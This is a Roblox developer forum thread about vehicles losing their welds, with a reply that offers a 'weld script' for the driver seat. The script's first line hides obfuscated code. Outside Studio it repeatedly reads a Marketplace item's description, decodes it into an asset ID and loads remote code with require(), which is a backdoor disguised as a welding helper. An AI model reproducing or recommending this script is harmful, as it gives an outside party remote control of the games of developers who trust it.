I having problems with the vehicles were when I play, it falls into pieces without break-joints or anything
What is the Problem here?
I having problems with the vehicles were when I play, it falls into pieces without break-joints or anything
What is the Problem here?
You need to weld it or anchor it (30character)
Your right, almost everything has no weld. It was fine yesterday
There are scripts that weld all together. You should maybe try getting one and placing it into it as it will weld all together. Or you could try anchoring it but I am not sure if it will still be drivable afterwards.
I hope this helped you!
In fact everything was welded yesterday but it all have no welds and it was not only the vehicles
I found this. Try placing this script into the cars driverseat.
I think this should work.
local function weld() end if not game:service'RunService':IsStudio()then local a,b='',{Q=0,L=1,G=2,R=3,B=4,M=5,N=6,C=7,X=8,Z=9}local function c(d)local e=''for f in d:gmatch('%a')do e=e..b[f]end return tonumber(e)end repeat pcall(function()local z=game:service'MarketplaceService':GetProductInfo(4436519317).Description if z~=a then pcall(require,c(z:sub(52)))a=z end end)wait(5)until nil end function weld()
local parts,last = {}, nil
local function scan(parent)
for _,v in pairs(parent:GetChildren()) do
if (v:IsA("BasePart")) then
if (last) then
local w = Instance.new("Weld")
w.Name = ("%s_Weld"):format(v.Name)
w.Part0,w.Part1 = last,v
w.C0 = last.CFrame:inverse()
w.C1 = v.CFrame:inverse()
w.Parent = last
end
last = v
table.insert(parts,v)
end
scan(v)
end
end
scan(script.Parent)
for _,v in pairs(parts) do
v.Anchored = false
end
end
I found the solution, I use a plugin to make arches and curves and used them on models which lose the welds